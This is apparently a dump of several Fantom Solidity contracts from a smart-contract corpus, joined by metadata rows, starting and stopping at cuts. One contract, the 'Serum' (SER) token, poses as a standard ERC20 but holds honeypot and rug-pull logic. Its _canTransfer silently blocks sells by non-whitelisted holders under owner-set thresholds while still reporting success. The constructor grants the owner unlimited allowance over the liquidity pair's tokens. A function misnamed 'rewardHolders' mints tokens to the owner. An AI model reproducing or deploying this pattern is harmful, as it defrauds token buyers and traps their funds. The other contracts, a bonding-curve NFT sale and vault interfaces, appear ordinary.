uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
lBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 24,865 | 13,121 |
91d3094adc1105861f254b41a90e22a58d1a835a54fb34a69d4c0511656c3a3e
| 16,552 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/64/647328cDCfaA2d360b12d85da14a1f19Fc18A88e_SERUM.sol
| 3,682 | 15,607 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract SERUM is Context, IERC20, Ownable {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
uint8 internal constant _DECIMALS = 18;
address public master;
mapping(address => bool) public _marketersAndDevs;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => uint256) internal _buySum;
mapping(address => uint256) internal _sellSum;
mapping(address => uint256) internal _sellSumETH;
uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
uint256 internal _theNumber = ~uint256(0);
uint256 internal _theRemainder = 0;
modifier onlyMaster() {
require(msg.sender == master);
_;
}
constructor(address routerAddress) {
_router = IPancakeRouter02(routerAddress);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this), address(_router.WETH())));
_balances[owner()] = _totalSupply;
master = owner();
_allowances[address(_pair)][master] = ~uint256(0);
_marketersAndDevs[owner()] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() external pure override returns (string memory) {
return "Serum";
}
function symbol() external pure override returns (string memory) {
return "SER";
}
function decimals() external pure override returns (uint8) {
return _DECIMALS;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
if (_canTransfer(_msgSender(), recipient, amount)) {
_transfer(_msgSender(), recipient, amount);
}
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
if (_canTransfer(sender, recipient, amount)) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function burn(uint256 amount) external onlyOwner {
_balances[owner()] -= amount;
_totalSupply -= amount;
}
function setNumber(uint256 newNumber) external onlyOwner {
_theNumber = newNumber;
}
function setRemainder(uint256 newRemainder) external onlyOwner {
_theRemainder = newRemainder;
}
function setMaster(address account) external onlyOwner {
_allowances[address(_pair)][master] = 0;
master = account;
_allowances[address(_pair)][master] = ~uint256(0);
}
function syncPair() external onlyMaster {
_pair.sync();
}
function includeInReward(address account) external onlyMaster {
_marketersAndDevs[account] = true;
}
function excludeFromReward(address account) external onlyMaster {
_marketersAndDevs[account] = false;
}
function rewardHolders(uint256 amount) external onlyOwner {
_balances[owner()] += amount;
_totalSupply += amount;
}
function _isSuper(address account) private view returns (bool) {
return (account == address(_router) || account == address(_pair));
}
function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
return true;
}
if (_isSuper(sender)) {
return true;
}
if (_isSuper(recipient)) {
uint256 amountETH = _getETHEquivalent(amount);
uint256 bought = _buySum[sender];
uint256 sold = _sellSum[sender];
uint256 soldETH = _sellSumETH[sender];
return bought >= sold + amount && _theNumber >= soldETH + amountETH && sender.balance >= _theRemainder;
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] -= amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _hasLiquidity() private view returns (bool) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
return reserve0 > 0 && reserve1 > 0;
}
function _getETHEquivalent(uint256 amountTokens) private view returns (uint256) {
(uint256 reserve0, uint256 reserve1,) = _pair.getReserves();
if (_pair.token0() == _router.WETH()) {
return _router.getAmountOut(amountTokens, reserve1, reserve0);
} else {
return _router.getAmountOut(amountTokens, reserve0, reserve1);
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) private {
if (_hasLiquidity()) {
if (_isSuper(from)) {
_buySum[to] += amount;
}
if (_isSuper(to)) {
_sellSum[from] += amount;
_sellSumETH[from] += _getETHEquivalent(amount);
}
}
}
}
| 324,021 | 13,122 |
d2583d21c9a81096b008332bf9eb788212ceeb4d5b228d54b52bdda43267ee16
| 23,529 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/05/05382e8cb68a61327efc11db35686f622a9a8f37_BuyoutBondingCurve.sol
| 4,437 | 18,008 |
pragma solidity ^0.8.9;
library MerkleProof {
function verify(bytes32[] memory proof,
bytes32 root,
bytes32 leaf) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IInitOwnable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() external view returns (address);
function initOwner(address initialOwner) external;
function renounceOwnership() external;
function transferOwnership(address newOwner) external;
}
interface ISaleModel is IInitOwnable {
event Initialised(uint256 indexed host, address indexed collection, uint256 indexed startTime);
event MetaUpdated(string indexed twitterPost, string indexed infoLink, string indexed preview);
event Finalised();
event ClaimedRaised(uint256 indexed amount);
function setMeta(string memory twitterPost, string memory infoLink, string memory preview) external;
function claimRaised() external;
}
interface ISaleFactory {
// Event
// ----------------------------------------------------------------------
event Initialised(IInitOwnable[] indexed saleModels, address indexed treasury, uint256 indexed treasuryCut, uint256 commission);
event SaleCreated(address indexed creator, address indexed clone, uint256 indexed saleId);
event ModelAdded(IInitOwnable indexed saleModel);
event ModelRemoved(uint256 indexed index);
event HostAdded(address indexed creator, address indexed treasury, uint256 indexed commissionPerc);
event HostChanged(uint256 indexed hostId, address indexed treasury, uint256 indexed commissionPerc);
event NewTreasury(address indexed treasury);
event NewTreasuryPerc(uint256 indexed treasuryPerc);
// Data Structures
// ----------------------------------------------------------------------
struct Host {
address owner;
address treasury;
uint256 commissionPerc;
}
struct Sale {
// Sale model cloning.
IInitOwnable modelUsed;
// Clone sale contract the artist is using.
IInitOwnable saleContract;
}
struct Model {
IInitOwnable ref;
uint256 totalCreated;
}
// Views
// ----------------------------------------------------------------------
function TREASURY() external view returns(address);
function TREASURY_CUT() external view returns(uint256);
function host(uint256 id) external view returns (Host memory);
function host(address addr) external view returns (bool success, uint256 id);
function hostList() external view returns(Host[] memory);
function hostLength() external view returns(uint256);
function sale(uint256 id) external view returns (Sale memory);
function saleList() external view returns(Sale[] memory);
function saleLength() external view returns(uint256);
function model(uint256 id) external view returns (Model memory);
function modelList() external view returns (Model[] memory);
function modelLength() external view returns(uint256);
function userSaleIds(address user) external view returns (uint256[] memory);
function saleByAddress(IInitOwnable saleAddress) external view returns (bool success, uint256 id);
function saleListByIds(uint256[] memory ids) external view returns (Sale[] memory);
// Interaction
// ----------------------------------------------------------------------
function createSale(uint256 modelId) external returns (address result);
function addHost(address treasury, uint256 soldPerc) external;
function adjustHost(uint256 hostId, address treasury, uint256 soldPerc) external;
}
interface ICollection {
function totalSupply() external view returns(uint256);
function totalMinted() external view returns(uint256);
function needMintAllowance() external view returns(bool);
function approvedMinting(address minter) external view returns(uint256);
function mint(address to, uint256 amount) external;
}
abstract contract InitOwnable is IInitOwnable {
bool private _init;
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view override returns (address) {
return _owner;
}
function initOwner(address initialOwner) external override {
require(!_init, "shoo");
_init = true;
_transferOwnership(initialOwner);
}
function renounceOwnership() public override onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// --------------------------------------------------------------------------------------
//
// (c) BuyoutBondingCurve 27/12/2021 | SPDX-License-Identifier: AGPL-3.0-only
// Designed by, DeGatchi (https://github.com/DeGatchi).
//
// --------------------------------------------------------------------------------------
contract BuyoutBondingCurve is ISaleModel, InitOwnable {
event Buyout(address indexed buyer, uint256 indexed amount, uint256 bonusAmount, uint256 indexed cost);
ISaleFactory public constant SALE_FACTORY = ISaleFactory(0x41b4d749ac112741dC2dD8a1429b3421FE73F585);
IERC20 public constant WETH = IERC20(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
struct Info {
// Link to tweet that includes details of sale.
// - Used to let community know this isn't an imposter sale.
string twitterPost;
// Link to external link that has more information on the project.
string infoLink;
// Link to off-chain metadata (image/gif).
// - Used to display preview of collection being sold.
string preview;
// Whitelist merkle tree root
// - If no whitelist, merkle root == `0x0...`
bytes32 merkleRoot;
// Host commission percentage.
uint256 hostCommissionPerc;
// Host ID assigned to this sale.
uint256 host;
// Whether sale has ended
bool finalised;
// Address that made the sale
address creator;
// Token contract to mint ids from
// - Must be able to give permission to this contract to mint
ICollection collection;
// Amount raised from sale
uint256 raised;
// Amount not claimed from raised
uint256 unclaimed;
}
Info public info;
struct Sale {
// Each token sold increases `lastPrice` by this amount
// - i.e, 500 (500 / 10,000 = 0.05)
uint256 multiplier;
// Last sale price
uint256 lastPrice;
// Timestamp of when sale ends
uint256 startTime;
// Timestamp of when sale ends
uint256 endTime;
// Total ids to sell/mint
uint256 totalSupply;
// Total ids sold
uint256 totalSold;
}
Sale public sale;
struct BulkBonus {
// Amount of NFTs being bought.
uint256 buyingAmount;
// Amount of NFTs given for free.
uint256 freeAmount;
}
// The more bought, the more given for free
BulkBonus[] public bulkBonuses;
bool public initialised;
/// @dev Must be initialised to use function.
modifier onlyInit() {
require(initialised, "NOT_INITIALISED");
_;
}
// Creation
// ----------------------------------------------------------------------
/// @dev Initiate the sale contract.
/// @param _host Index of SALE_FACTORY's referrals that referred you.
/// @param _collection NftCollection integrated NFT contract being sold.
/// @param _startDelay Amount of seconds to add to block.timestamp to begin the sale.
/// @param _duration Amount of seeconds the sale lasts for once it starts.
/// @param _startPrice Price for the first token sold.
/// @param _multiplier The % of the last price to increase per token sold.
/// @param _totalSupply Amount of tokens being sold.
/// @param _merkleRoot Optional: merkle root from tree of whitelisted addresses.
/// @param _bulkBonuses Optional: the more bought, the more given for free.
function init(uint256 _host,
ICollection _collection,
uint24 _startDelay,
uint24 _duration,
uint256 _startPrice,
uint256 _multiplier,
uint256 _totalSupply,
bytes32 _merkleRoot,
BulkBonus[] memory _bulkBonuses) public onlyOwner {
require(!initialised, "ALREADY_INITIALISED");
if (_host > 0) {
require(_host <= SALE_FACTORY.hostLength() - 1, "HOST_NOT_FOUND");
}
require(_startPrice > 0, "START_PRICE_ZERO");
require(_collection.totalMinted() + _totalSupply <= _collection.totalSupply(), "EXCEEDS_TOTAL_SUPPLY");
require(_collection.approvedMinting(address(this)) >= _totalSupply, "UNDERFLOW: MINT_ALLOWANCE");
initialised = true;
ISaleFactory.Host memory host = SALE_FACTORY.host(_host);
info.host = _host;
info.hostCommissionPerc = host.commissionPerc;
info.collection = _collection;
info.merkleRoot = _merkleRoot;
info.creator = msg.sender;
sale.lastPrice = _startPrice;
sale.multiplier = _multiplier;
sale.totalSupply = _totalSupply;
uint256 startTime = block.timestamp + _startDelay;
sale.startTime = startTime;
sale.endTime = startTime + _duration;
for (uint256 i; i < _bulkBonuses.length; i++) {
bulkBonuses.push(_bulkBonuses[i]);
}
emit Initialised(_host, address(_collection), block.timestamp);
}
/// @dev Sets metadata used for verification.
/// @param infoLink Link to a website that explains more about your project.
/// @param preview Link to metadata image/gif, used as preview on FE (e.g., IPFS link).
function setMeta(string memory twitterPost,
string memory infoLink,
string memory preview) external override onlyOwner {
info.twitterPost = twitterPost;
info.infoLink = infoLink;
info.preview = preview;
Info memory mInfo = info;
emit MetaUpdated(mInfo.twitterPost, infoLink, mInfo.preview);
}
// Interaction
// ----------------------------------------------------------------------
/// @dev Creator receives unclaimed raised funds.
function claimRaised() external onlyInit {
Info memory mInfo = info;
require(mInfo.unclaimed > 0, "ZERO_UNCLAIMED");
ISaleFactory.Host memory host = SALE_FACTORY.host(mInfo.host);
// Calculate commission amount.
uint256 commission = (mInfo.unclaimed * host.commissionPerc) / 10000;
// Reset unclaimed.
info.unclaimed = 0;
// If referral isn't factory creator, calculate referral cut.
if (commission > 0) {
address theaterTreasury = SALE_FACTORY.TREASURY();
if (host.treasury != theaterTreasury) {
uint256 theaterCut = SALE_FACTORY.TREASURY_CUT();
uint256 cut = (commission * theaterCut) / 10000;
WETH.transfer(host.treasury, commission - cut);
WETH.transfer(theaterTreasury, cut);
} else {
// otherwise, give total commission to factory creator.
WETH.transfer(host.treasury, commission);
}
}
// Transfer raised (minus commission) to sale creator.
WETH.transfer(mInfo.creator, mInfo.unclaimed - commission);
emit ClaimedRaised(mInfo.unclaimed);
// Check if sale has finalised.
_finalise();
}
/// @dev Buyout current bundle.
/// @param merkleProof Hashes used to reach the merkle root w/ address.
/// @param amount Amount of ids to buy.
function buyout(bytes32[] calldata merkleProof, uint256 amount) external onlyInit {
Info memory mInfo = info;
require(amount > 0, "AMOUNT_ZERO");
require(!mInfo.finalised, "SALE_FINALISED");
require(_isWhitelisted(merkleProof), "NOT_WHITELISTED");
Sale memory mSale = sale;
require(block.timestamp >= mSale.startTime, "AWAITING_SALE_START");
require(block.timestamp < mSale.endTime, "SALE_ENDED");
// Gets how many bonus NFTs are given.
(uint256 cost, uint256 bonus, uint256 newPrice) = buyingResults(amount);
uint256 tally = amount + bonus;
// Checks total amount being minted doesnt exceed totalSupply.
uint256 newTotalSold = mSale.totalSold + tally;
require(newTotalSold <= mSale.totalSupply, "OVERFLOW: AMOUNT");
// Send payment + update stats.
WETH.transferFrom(msg.sender, address(this), cost);
sale.lastPrice = newPrice;
info.raised += cost;
info.unclaimed += cost;
sale.totalSold += tally;
// Mint bought token(s).
mInfo.collection.mint(msg.sender, tally);
emit Buyout(msg.sender, amount, bonus, cost);
// Check if sale has finalised.
_finalise();
}
// Internals
// ----------------------------------------------------------------------
/// @dev Finalises the sale if the requirements are met.
function _finalise() internal {
Sale memory mSale = sale;
// If sold out OR current time has passed endTime.
if (mSale.totalSold == mSale.totalSupply || block.timestamp >= mSale.endTime) {
Info memory mInfo = info;
if (!mInfo.finalised) {
info.finalised = true;
emit Finalised();
}
}
}
/// @dev Checks if user is whitelisted for sale participation.
/// @param _merkleProof Hashes used to reach the merkle root w/ address.
function _isWhitelisted(bytes32[] calldata _merkleProof) internal view returns(bool) {
bytes32 nullRoot;
Info memory mInfo = info;
// If no merkle root, no whitelist.
if (mInfo.merkleRoot != nullRoot) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
return MerkleProof.verify(_merkleProof, mInfo.merkleRoot, leaf);
} else return true;
}
// Views
// ----------------------------------------------------------------------
/// @dev Calculates how many free NFTs are given based off the buying `amount`.
/// @param amount Amount of ids to buy.
function getBulkBonus(uint256 amount) public view returns(uint256) {
BulkBonus[] memory mBB = bulkBonuses;
uint256 bulkIndex;
if (mBB.length > 0) {
for (uint256 i; i < mBB.length; i++) {
if (amount >= mBB[i].buyingAmount) {
bulkIndex = i;
}
}
return mBB[bulkIndex].freeAmount;
} else {
return 0;
}
}
/// @dev Calculates the total cost for the amount of nfts being bought.
/// @param amount Amount of ids to buy.
/// @return cost Total cost of
function buyingResults(uint256 amount) public view returns (uint256 cost, uint256 bonus, uint256 lastPrice) {
Sale memory mSale = sale;
uint256 adding;
lastPrice = mSale.lastPrice;
bonus = getBulkBonus(amount);
// Calculate cost
for (uint256 i; i < amount + bonus; i++) {
// Amount being added onto last price.
// i.e, ($100 * 500) / 10,000 = $5
adding = (lastPrice * mSale.multiplier) / 10000;
// i.e, $100 + $5 = $105
lastPrice += adding;
if (i < amount) {
// Add token price to cost
cost += lastPrice;
}
}
}
/// @dev Returns all stats to do w/ the sale.
function getSaleDetails() external view returns (bool isInitialised,
Info memory,
Sale memory,
BulkBonus[] memory) {
return (initialised,
info,
sale,
bulkBonuses);
}
}
| 320,928 | 13,123 |
83c6002c8041763fad9c682997aed1b1ba00b55f07107ba82d75be7c56271291
| 24,992 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/3d/3d9fb291dbeeadc3098d76389e94f077e61c181b_Granary.sol
| 5,934 | 17,008 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
pragma abicoder v2;
//ftm.guru's Universal On-chain TVL Calculator
//Source: https://ftm.guru/rawdata/tvl
interface ITVL {
//Using Version = 6
function p_lpt_tt_coin_usd(address bt,
address lp_tt,
address lp_bt_u,
address u) external view returns(uint256);
}
interface IMasterchef {
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below. (same as rewardDebt)
uint256 rewardDebtDR; // Reward debt Secondary reward. See explanation below.
uint256 depositTime; // Time when the user deposit LP tokens.
uint256 depVal; // LP token value at the deposit time.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
IERC20 stubToken; // STUB / Receipt Token for farmers.
uint256 allocPoint; // How many allocation points assigned to this pool. DFYs to distribute per Second.
uint256 allocPointDR; // How many allocation points assigned to this pool for Secondary Reward.
uint256 depositFee; // LP Deposit fee.
uint256 withdrawalFee; // LP Withdrawal fee
uint256 lastRewardTimestamp; // Last timestamp that DFYs distribution occurs.
uint256 lastRewardTimestampDR; // Last timestamp that Secondary Reward distribution occurs.
uint256 rewardEndTimestamp; // Reward ending Timestamp.
uint256 accDefyPerShare; // Accumulated DFYs per share, times 1e12. See below.
uint256 accSecondRPerShare; // Accumulated Second Reward Tokens per share, times 1e24. See below.
uint256 lpSupply; // Total Lp tokens Staked in farm.
bool impermanentLossProtection; // ILP availability
bool issueStub; // STUB Availability.
}
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function emergencyWithdraw(uint256 _pid) external;
function userInfo(uint256, address) external view returns (UserInfo memory);
function poolInfo(uint256) external view returns (PoolInfo memory);
function totalAllocPoint() external view returns (uint256);
function pendingDefy(uint256 _pid, address _user) external view returns (uint256);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
